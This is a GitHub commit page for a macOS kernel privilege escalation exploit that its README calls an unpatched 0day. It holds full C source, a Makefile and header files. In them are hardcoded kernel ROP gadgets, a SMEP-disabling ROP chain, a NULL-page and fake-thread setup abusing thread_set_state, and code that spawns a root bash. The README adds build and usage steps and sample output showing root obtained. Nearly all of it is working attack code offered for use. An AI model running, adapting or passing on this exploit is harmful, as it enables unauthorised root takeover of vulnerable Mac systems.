Skip to content

Commit

Permalink
initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
A2nkF committed Sep 17, 2019
1 parent 6c32755 commit 12474cd
Show file tree
Hide file tree
Showing 7 changed files with 447 additions and 1 deletion.
13 changes: 13 additions & 0 deletions Makefile
@@ -0,0 +1,13 @@
#
# Makefile
#
# Created by Ilias Morad.
# Copyright © 2019 Ilias Morad. All rights reserved.
#

main: exploit.c gadgets.c kernel.s
nasm -f macho32 -o kernel.o kernel.s
gcc -o exploit -m32 -Wl,-pagezero_size,0 -masm=intel exploit.c gadgets.c kernel.o

clean:
rm exploit *.o
54 changes: 53 additions & 1 deletion README.md
@@ -1,2 +1,54 @@
# macOS-Kernel-Exploit
macOS Kernel Exploit for CVE-????-???? (currently a 0day. I'll add the CVE# once it is published). Credits for the bug go to @LinusHenze :).

## General
macOS Kernel Exploit for CVE-????-???? (currently a 0day.
I'll add the CVE# once it is published ;) ).

Thanks to @LinusHenze for this cool bug and his support ;P.

## Writeup

Probably coming soon.
If you want to try and exploit it yourself, here are a few things to get you started:

- VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window
- Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb
- Have a look at the _kernel_trap function


## Build

You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit)

```
make
```

## Execution

```
./exploit <KASLR slide>
```

NOTE: a KASLR leak is required in order for the exploit to do more that just
freezing the system so it's not that bad :)

**Example**:
```
[debug@Kernel-Mac Shared ]$ ./exploit 0x1600000
[*] Kernel slide: 0x1600000
[*] uid=0x1f5 euid=0x1f5 gid=0x14 egid=0x14
[*] Mapped NULL Page to catch GS accesses
[*] Fake Thread is at: 0x10000
[*] Fake Stack is at: 0x5d000000
[+] SAVED_STATE32 setup done!
[DEBUG] escalatePrivs: 0xa7b39
[DEBUG] SMEP disable ROP-Chain:
70 92 82 01 80 FF FF FF E0 06 06 00 00 00 00 00 | p...............
13 B6 A0 01 80 FF FF FF 39 7B 0A 00 00 00 00 00 | ........9{......
[DEBUG] Waiting...
[+] Here we go...
[+] Userland shellcode says hi!
[*] Patched uid=0x0 euid=0x0 gid=0x14 egid=0x14
bash-3.2#
```
41 changes: 41 additions & 0 deletions definitions.h
@@ -0,0 +1,41 @@
#ifndef definitions_h
#define definitions_h

#include <string.h> // memset
#include <mach/mach.h> // thread_set_state

#pragma pack(4)

#define x86_SAVED_STATE32 THREAD_STATE_NONE + 1
#define x86_SAVED_STATE64 THREAD_STATE_NONE + 2

struct x86_saved_state32 {
uint32_t gs; // 0x00
uint32_t fs;
uint32_t es; // 0x08
uint32_t ds;
uint32_t edi; // 0x10
uint32_t esi;
uint32_t ebp; // 0x18
uint32_t cr2;
uint32_t ebx; // 0x20
uint32_t edx;
uint32_t ecx; // 0x28
uint32_t eax;
uint16_t trapno; // 0x30
uint16_t cpu; // 0x32
uint32_t err; // 0x34
uint32_t eip;
uint32_t cs; // 0x3c
uint32_t efl;
uint32_t uesp; // 0x44
uint32_t ss;
};
typedef struct x86_saved_state32 x86_saved_state32_t;

#define x86_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \
(sizeof (x86_saved_state32_t)/sizeof(unsigned int)))

#pragma pack(0)

#endif /* definitions_h */
152 changes: 152 additions & 0 deletions exploit.c
@@ -0,0 +1,152 @@
//
// exploit.c
//
// Created by Ilias Morad.
// Copyright © 2019 Ilias Morad. All rights reserved.
//

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include "definitions.h"
#include "gadgets.h"


#define DEBUG 1


// Used in kernel.s
extern uint64_t current_proc;
extern uint64_t proc_ucred;
extern uint64_t posix_cred_get;
extern uint64_t return_to_user;

extern void escalatePrivs(void);


// For debugging
void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}

void fail() {
puts("[-] Stopping exploit");
exit(-1);
}

int main(int argc, const char *argv[]) {
kern_return_t err = -1;
uint64_t kSlide = -1;

// after we return to userland our process state is super messed up
// in order to be able to get a "stable" environment
// our userland shellcode will just exec() itself again as root
if(getuid() == 0) {
puts("[+] Userland shellcode says hi!");
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
system("/bin/bash");
exit(0);
}

if(argc < 2) {
puts("[-] You need to provide the kernel slide.");
fail();
} else {
kSlide = strtol(argv[1], NULL, 0x10);
printf("[*] Kernel slide: 0x%llx\n", kSlide);
}

current_proc = 0xffffff8000968360 + kSlide;
proc_ucred = 0xffffff8000820d30 + kSlide;
posix_cred_get = 0xffffff80007ddbe0 + kSlide;
return_to_user = 0xffffff8000229680 + kSlide;

printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());

vm_address_t pageZero = 0x00;
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
if(err != 0) {
printf("[-] vm_allocate(pageZero) returned %d\n", err);
fail();
}
memset(0,0,0x1000);
puts("[*] Mapped NULL Page to catch GS accesses");

vm_address_t fakeThread = 0;
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
if(err != 0) {
printf("[-] vm_allocate(fakeThread) returned %d\n", err);
fail();
}
printf("[*] Fake Thread is at: 0x%x\n", fakeThread);

uint64_t *fakeStack = (uint64_t *)0x5d000000;
vm_address_t fakeStackk = 0x5d000000;
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
if(err != 0) {
printf("[-] vm_allocate(fakeStack) returned %d\n", err);
fail();
}
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);

x86_saved_state32_t state;
memset(&state, 0xFF, sizeof(x86_saved_state32_t));
state.gs = 0x23;

*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the
// kernel execute iretq
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used)
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used)

puts("[+] SAVED_STATE32 setup done!");


// Disable SMEP
int sp = 0;
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp;
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp;
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp;
// SMEP is disabled and we can jump to our userland code part
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp;


if(DEBUG) {
char c;
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
hexdump((const void *)fakeStackk, 0x20);
puts("[DEBUG] Waiting...");
// scanf(" %c", &c);
}

puts("[+] Here we go...");
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
while(1) {}
return 0;
}
5 changes: 5 additions & 0 deletions gadgets.c
@@ -0,0 +1,5 @@
// ROP Helpers

void __attribute__((naked)) swapgs() {
__asm__ __volatile__("swapgs; ret ");
}
34 changes: 34 additions & 0 deletions gadgets.h
@@ -0,0 +1,34 @@
//
// gadgets.h
//
// Created by Ilias Morad.
// Copyright © 2019 Ilias Morad. All rights reserved.
//

#ifndef gadgets_h
#define gadgets_h
/* Backup stack pivots */
// 0xffffff80005ea56b: mov esp, 0x5d000000; ret;
// 0xffffff80008e1834: mov esp, 0x10024; add cl, ch; ret;
// 0xffffff800060ef11: mov esp, 0xff000000; ret;
// 0xffffff8000a241ee: xchg esp, esi; dec dword ptr [rax - 0x77]; ret;

#define ROP_PIVOT_STACK 0xffffff80005ea56b // mov esp, 0x5d000000; ret;
#define ROP_MOV_CR4_RAX 0xffffff800040b613 // mov cr4, rax; ret;
#define ROP_POP_RAX 0xffffff8000229270 // pop rax; ret;
#define ROP_POP_RDI 0xffffff8000228e74 // pop rdi; ret;
#define ROP_POP_RSI 0xffffff800047c02e // pop rsi; ret;
#define ROP_POP_RDX 0xffffff8000273d6f // pop rdx; ret;
#define ROP_POP_RCX 0xffffff80007ce67a // pop rcx; ret;
#define ROP_MOV_RAX_RCX 0xffffff80002e736e // mov rax, rcx; ret;

#define ROP_RET32_IRET 0xffffff80002298bc // iretq

#define CPU_ENABLE_SMEP 0x00000000001606e0
#define CPU_DISABLE_SMEP 0x00000000000606e0


void __attribute__((naked)) swapgs();

#endif

0 comments on commit 12474cd

Please sign in to comment.